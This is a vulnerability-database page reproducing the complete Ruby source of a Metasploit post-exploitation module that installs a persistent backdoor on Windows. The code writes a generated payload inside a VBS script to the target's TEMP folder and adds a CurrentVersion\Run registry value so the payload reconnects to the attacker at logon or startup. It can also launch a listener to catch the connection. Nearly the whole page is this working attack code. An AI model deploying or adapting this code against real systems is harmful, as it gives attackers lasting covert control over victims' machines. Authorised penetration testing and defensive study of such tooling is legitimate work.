Lucene search
K

Windows Persistent Registry Startup Payload Installer

🗓️ 07 Feb 2013 23:11:44Reported by Carlos Perez <[email protected]>, g0tmi1kType 
metasploit
 metasploit
🔗 www.rapid7.com👁 28 Views

This module installs a payload that is executed during boot via the registry value in "CurrentVersion\Run

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistent Registry Startup Payload Installer',
        'Description' => %q{
          This module will install a payload that is executed during boot.
          It will be executed either at user logon or system startup via the registry
          value in "CurrentVersion\Run" (depending on privilege and selected method).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [ [ 'Windows', {} ] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-10-19',
        'DefaultOptions' => {
          'DisablePayloadHandler' => true
        },
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
              stdapi_sys_config_getuid
              stdapi_sys_config_sysinfo
            ]
          }
        }
      )
    )

    register_options([
      OptInt.new('DELAY',
                 [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]),
      OptEnum.new('STARTUP',
                  [true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),
      OptString.new('VBS_NAME',
                    [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]),
      OptString.new('EXE_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('REG_NAME',
                    [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]),
      OptString.new('PATH',
                    [false, 'Path to write payload (%TEMP% by default).', nil])
    ])

    register_advanced_options([
      OptBool.new('HANDLER',
                  [false, 'Start an exploit/multi/handler job to receive the connection', false]),
      OptBool.new('EXEC_AFTER',
                  [false, 'Execute persistent script after installing.', false])
    ])
  end

  # Exploit method for when exploit command is issued
  def exploit
    # Define default values
    rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
    rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
    reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
    startup = datastore['STARTUP'].downcase
    delay = datastore['DELAY']
    exec_after = datastore['EXEC_AFTER']
    handler = datastore['HANDLER']
    @clean_up_rc = ""

    rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4, 4] != '.vbs'
    rexe_name = rexe_name + '.exe' if rexe_name[-4, 4] != '.exe'

    # Connect to the session
    begin
      host = session.session_host
      print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue => e
      print_error("Could not connect to session: #{e}")
      return nil
    end

    # Check values
    if is_system? && startup == 'user'
      print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!')
    end

    if handler && !datastore['DisablePayloadHandler']
      # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards!
      print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...")
      print_warning("Disabling HANDLER...")
      handler = false
    end

    # Generate the exe payload
    vprint_status("Generating EXE payload (#{rexe_name})")
    exe = generate_payload_exe
    # Generate the vbs payload
    vprint_status("Generating VBS persistent script (#{rvbs_name})")
    vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, { :persist => true, :delay => delay, :exe_filename => rexe_name })
    # Writing the payload to target
    vprint_status("Writing payload inside the VBS script on the target")
    script_on_target = write_script_to_target(vbsscript, rvbs_name)
    # Exit the module because we failed to write the file on the target host
    # Feedback has already been given to the user, via the function.
    return unless script_on_target

    # Initial execution of persistent script
    case startup
    when 'user'
      # If we could not write the entry in the registy we exit the module.
      return unless write_to_reg("HKCU", script_on_target, reg_val)

      vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on")
    when 'system'
      # If we could not write the entry in the registy we exit the module.
      return unless write_to_reg("HKLM", script_on_target, reg_val)

      vprint_status("Payload will execute at the next SYSTEM startup")
    else
      print_error("Something went wrong. Invalid STARTUP method: #{startup}")
      return nil
    end

    # Do we setup a exploit/multi/handler job?
    if handler
      listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD'])
      if listener_job_id.blank?
        print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
      end
    end

    # Do we execute the VBS script afterwards?
    target_exec(script_on_target) if exec_after

    # Create 'clean up' resource file
    clean_rc = log_file()
    file_local_write(clean_rc, @clean_up_rc)
    print_status("Clean up Meterpreter RC file: #{clean_rc}")

    report_note(:host => host,
                :type => "host.persistance.cleanup",
                :data => {
                  :local_id => session.sid,
                  :stype => session.type,
                  :desc => session.info,
                  :platform => session.platform,
                  :via_payload => session.via_payload,
                  :via_exploit => session.via_exploit,
                  :created_at => Time.now.utc,
                  :commands => @clean_up_rc
                })
  end

  # Writes script to target host and returns the pathname of the target file or nil if the
  # file could not be written.
  def write_script_to_target(vbs, name)
    filename = name || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".vbs"
    temppath = datastore['PATH'] || session.sys.config.getenv('TEMP')
    filepath = temppath + "\\" + filename

    unless directory?(temppath)
      print_error("#{temppath} does not exist on the target")
      return nil
    end

    if file?(filepath)
      print_warning("#{filepath} already exists on the target. Deleting...")
      begin
        file_rm(filepath)
        print_good("Deleted #{filepath}")
      rescue
        print_error("Unable to delete file!")
        return nil
      end
    end

    begin
      write_file(filepath, vbs)
      print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}")

      # Escape windows pathname separators.
      @clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n"
    rescue
      print_error("Could not write the payload on the target")
      # Return nil since we could not write the file on the target
      filepath = nil
    end

    filepath
  end

  # Installs payload in to the registry HKLM or HKCU
  def write_to_reg(key, script_on_target, registry_value)
    regsuccess = true
    nam = registry_value || Rex::Text.rand_text_alpha(rand(8) + 8)
    key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"

    print_status("Installing as #{key_path}\\#{nam}")

    if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
      print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}")
    else
      print_error("Failed to make entry in the registry for persistence")
      regsuccess = false
    end

    regsuccess
  end

  # Executes script on target and returns true if it was successfully started
  def target_exec(script_on_target)
    execsuccess = true
    print_status("Executing script #{script_on_target}")
    # Lets give the target a few seconds to catch up...
    Rex.sleep(3)

    # Error handling for process.execute() can throw a RequestError in send_request.
    begin
      unless datastore['EXE::Custom']
        cmd_exec("wscript \"#{script_on_target}\"")
      else
        cmd_exec("cscript \"#{script_on_target}\"")
      end
    rescue
      print_error("Failed to execute payload on target")
      execsuccess = false
    end

    execsuccess
  end

  # Starts a exploit/multi/handler session
  def create_multihandler(lhost, lport, payload_name)
    pay = client.framework.payloads.create(payload_name)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    print_status('Starting exploit/multi/handler')

    unless check_for_listener(lhost, lport)
      # Set options for module
      mh = client.framework.exploits.create('multi/handler')
      mh.share_datastore(pay.datastore)
      mh.datastore['WORKSPACE'] = client.workspace
      mh.datastore['PAYLOAD'] = payload_name
      mh.datastore['EXITFUNC'] = 'thread'
      mh.datastore['ExitOnSession'] = true
      # Validate module options
      mh.options.validate(mh.datastore)
      # Execute showing output
      mh.exploit_simple(
        'Payload' => mh.datastore['PAYLOAD'],
        'LocalInput' => self.user_input,
        'LocalOutput' => self.user_output,
        'RunAsJob' => true
      )

      # Check to make sure that the handler is actually valid
      # If another process has the port open, then the handler will fail
      # but it takes a few seconds to do so.  The module needs to give
      # the handler time to fail or the resulting connections from the
      # target could end up on on a different handler with the wrong payload
      # or dropped entirely.
      Rex.sleep(5)
      return nil if framework.jobs[mh.job_id.to_s].nil?

      return mh.job_id.to_s
    else
      print_error('A job is listening on the same local port')
      return nil
    end
  end

  # Method for checking if a listener for a given IP and port is present
  # will return true if a conflict exists and false if none is found
  def check_for_listener(lhost, lport)
    client.framework.jobs.each do |k, j|
      if j.name =~ / multi\/handler/
        current_id = j.jid
        current_lhost = j.ctx[0].datastore['LHOST']
        current_lport = j.ctx[0].datastore['LPORT']
        if lhost == current_lhost && lport == current_lport.to_i
          print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
          return true
        end
      end
    end
    false
  end

  # Function for creating log folder and returning log path
  def log_file(log_path = nil)
    # Get hostname
    host = session.sys.config.sysinfo["Computer"]

    # Create Filename info to be appended to downloaded files
    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

    # Create a directory for the logs
    if log_path
      logs = ::File.join(log_path, 'logs', 'persistence',
                         Rex::FileUtils.clean_path(host + filenameinfo))
    else
      logs = ::File.join(Msf::Config.log_directory, 'persistence',
                         Rex::FileUtils.clean_path(host + filenameinfo))
    end

    # Create the log directory
    ::FileUtils.mkdir_p(logs)

    # logfile name
    logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
    logfile
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Sep 2021 21:59Current
10High risk
Vulners AI Score10
28